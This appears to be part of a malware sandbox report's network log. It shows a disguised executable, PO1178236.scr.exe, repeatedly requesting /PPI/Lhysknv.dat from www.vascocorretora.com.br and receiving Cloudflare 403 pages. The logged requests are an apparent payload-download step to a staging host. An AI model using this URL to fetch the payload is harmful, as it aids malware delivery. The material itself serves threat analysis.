2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:22 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 63 65 65 61 30 37 37 32 36 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5ceea07726b</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:22 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 63 65 65 61 30 37 37 32 36 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5ceea07726b',t:'MTczNjQwNzcwMi4wMDAwMDA='};var a
2025-01-09 07:28:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:23 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:23 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lx5yc6ejrDbZjfuAcu%2FgWoaS%2FA89FuF0ecKkZezGBXLIOqAN4F9idga4WX3oCLfYSN55mnz0Vx2CjHnnGsQfDFxp2moLshdCgOjDzems0o6Gb4uyNT63MmET3zOst32R2zC%2F1njRqoYzdEXt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5d2bdb118cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1624&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1755862&cwnd=252&unsent_bytes=0&cid=006838c106d576ab&ts=158&x=0"
2025-01-09 07:28:23 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:23 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:23 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:23 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 64 32 62 64 62 31 31 38 63 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5d2bdb118cc</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:23 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 64 32 62 64 62 31 31 38 63 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5d2bdb118cc',t:'MTczNjQwNzcwMy4wMDAwMDA='};var a
2025-01-09 07:28:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:23 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:24 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J9IlgRV68prHjz7e0Ko95ffjfiO%2B9AML66u4SfyiTfH8bG%2FIbmPh6EdXwV7cOFwbQGRCCSsAnop1MLFm20v3iIV%2F%2BoVCRqvmTDtvB6hoVJKua6CyPL4AWu5GCi5Gh69blM3AGflV3%2BC5KIe3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5d659ac7293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2010&min_rtt=2002&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1408586&cwnd=158&unsent_bytes=0&cid=b33bb70a15cc8e3b&ts=124&x=0"
2025-01-09 07:28:24 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 64 36 35 39 61 63 37 32 39 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5d659ac7293</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:24 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 64 36 35 39 61 63 37 32 39 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5d659ac7293',t:'MTczNjQwNzcwNC4wMDAwMDA='};v
2025-01-09 07:28:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:24 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:24 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:39 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G70Szg%2F9z5eEKpjlKwZOb3RhCWT0hzCV5HxuQTGd6UaU%2Bpy0J7gECBoQi4v0I59sf1jXWwUWwKdEtmXGh9ua0ALnuTRZxeAKfq7RN4qTuBQqGoDdRVYm4kgakQ%2FQmHlrO%2B6m%2FX2xZtglqYlu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5da0c9def9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1969&rtt_var=743&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1468812&cwnd=146&unsent_bytes=0&cid=139d6764c439eb80&ts=127&x=0"
2025-01-09 07:28:24 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
